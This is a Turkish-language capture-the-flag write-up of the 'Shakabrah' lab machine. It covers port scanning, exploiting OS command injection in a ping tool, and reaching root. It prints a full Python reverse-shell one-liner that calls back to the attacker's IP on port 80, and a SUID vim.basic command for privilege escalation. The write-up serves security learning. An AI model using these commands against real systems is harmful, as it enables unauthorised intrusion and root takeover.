Link | Difficulty |
---|---|
Shakabrah | Easy |
Scan / Enumeration
Keşif işlemine nmap
taraması yaparak başlıyorum. Taramanın hızını arttırmak için -T4
parametresini kullanıyorum. Tarama sırasında karşılaşılan açık portları ve taramanın ne zaman biteceğine dair bilgileri düzenli olarak ekrana basması için -vv
parametresini kullanıyorum. Makinedeki bütün portları taramak için -p-
parametresini kullanıyorum ve son olarak da makinenin IP adresini vererek taramayı başlatıyorum.
nmap -T4 -vv -p- $IP
Taramanın sonucunda 22
ve 80
portlarının açık olduğunu görüyorum. Bu portlar hakkında ayrıntılı bilgi alabilmel için portlara özel bir nmap taraması daha gerçekleştiriyorum. Taramada, versiyon taraması işlevini gören -sV ve script taraması işlevini gören -sC parametrelerinin birleşimi olarak -sVC parametresini kullanıyorum. Taranacak olan portları -p sonrasında belirtiyorum. Taramanın çıktsını bir dosyaya kaydetmek için -oN parametresini de kullandıktan sonra IP adresini vererek taramayı başlatıyorum.
nmap -sVC -p22,80 -oN shakabrah.nmap $IP

22 portunda SSH
servisi ve 80 portunda Apache
web server çalıştığını görüyorum.
OpenSSH 7.6p1
versiyonu için searchsploit
ve arama motorları aracılığıyla exploit araması yapıyorum. Daha sonra işime yarayabilecek olan bir user enumeration
exploit’i dışında bir şey bulamıyorum. Bu exploit’i olası bir kullanıcı adı bulmam durumunda kullanmak üzere bırakıyorum ve diğer servisi keşfetmeye geçiyorum.
Apache 2.4.29
versiyonu için de aynı şekilde bir exploit araması gerçekleştiriyorum. Bire bir bu versiyon için olmasa da denemeye değebilecek bir kaç exploit ile karşılaşıyorum fakat bundan önce web servisini keşfetmeyi deneyip herhangi bir şey bulamazsam exploitleri denemeye karar veriyorum.
Gain Shell
Web sitesine bir tarayıcı aracılığıyla eriştiğimde karşıma Connection Tester
isminde verilen IP adresine ping atıp sonucu döndüren bir site çıkıyor. Doğal olarak bir OS Command Injection
zafiyeti ile karşı karşıya olduğumu anlıyorum ve payloadlar denemeye başlıyorum. Beklediğimden daha kolay bir şekilde ilk denememde istediğim çıktıyı alıyorum.

Buradan reverse shell almayı denemeden önce makinede bulunan kullanıcının id_rsa
dosyasına ulaşmaya çalışıyorum. Makinede bulunan dylan
kullanıcısının dosyası olmadığını görüyorum. Kendim bir .ssh
dizini oluşturarak authorized_key
dosyasına kendi public keyimi vererek ssh bağlantısı sağlamayı düşünüyorum fakat üzerinde komut çalıştırdığım kullanıcı www-data
kullanıcısı olduğu için şu an bunu gerçekleştiremiyorum.
Makineden shell alabilmek için çok fazla payload deniyorum fakat hiç birinde shell alamıyorum. Bazı payload’ların diğerlerinden daha uzun süre beklediğini ama yine de shell gelmediğini görünce port değiştirerek denemeye karar veriyorum. Bir kaç port denedikten sonra default http portu olan 80 portu üzerinden shell almayı deniyorum ve başarıyorum.
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$IP",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Privilege Escalation
Bağlandığım shell’i daha stabil hale getirmek için python yardımıyla bash’e geçiyorum.
python3 -c "import pty;pty.spawn('/bin/bash')"
Makineye bağlandığım kullanıcı olan www-data
kullanıcısının shell yetkisi olmadığı için muhtemelen sudo yetkisinin de olmayacağını düşünüyorum fakat yine de sudo -l
komutuyla kontrol ediyorum ve parola istediği için herhangi bir işlem gerçekleştiremiyorum. Makinede bulunan SUID
dosyaları kontrol ediyorum. Dosyaları bulabilmek için find
komutunu kullanıyorum. Aranacak dizin olarak /
dizinini vererek bütün makinede arama yapmasını sağlıyorum. Yalnızca SUID yetkisi olan dosyaları getirmesi için -perm
parametresine -4000
değerini veriyorum. İzini olmayan dosyalarda karşılaştığı hataları ekrana basmaması için 2>/dev/null
ile hataları hiçliğe yolluyorum.
find / -perm -4000 2>/dev/null

Bulunan dosyalar içerisinde /usr/bin/vim.basic
dosyası ilgimi çekiyor. GTFOBins aracılığıyla bu SUID dosyasını nasıl sömürebileceğimi öğreniyorum. Makine üzerinde python3 bulunduğu için öğrendiğim payload üzerindeki py
değerini py3
ile değiştiriyorum.
/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
Komutu çalıştırıyorum ve more
işareti gidene kadar enter’a basıyorum. Daha sonra Terminal type?
sorusuyla karşılaştığımda bash
ve sh
değerlerini deniyorum fakat bir sonuç alamıyorum. Bir kaç değer daha denedikten sonra xterm
‘i deniyorum ve root kullanıcısı olarak shell’e erişebiliyorum.
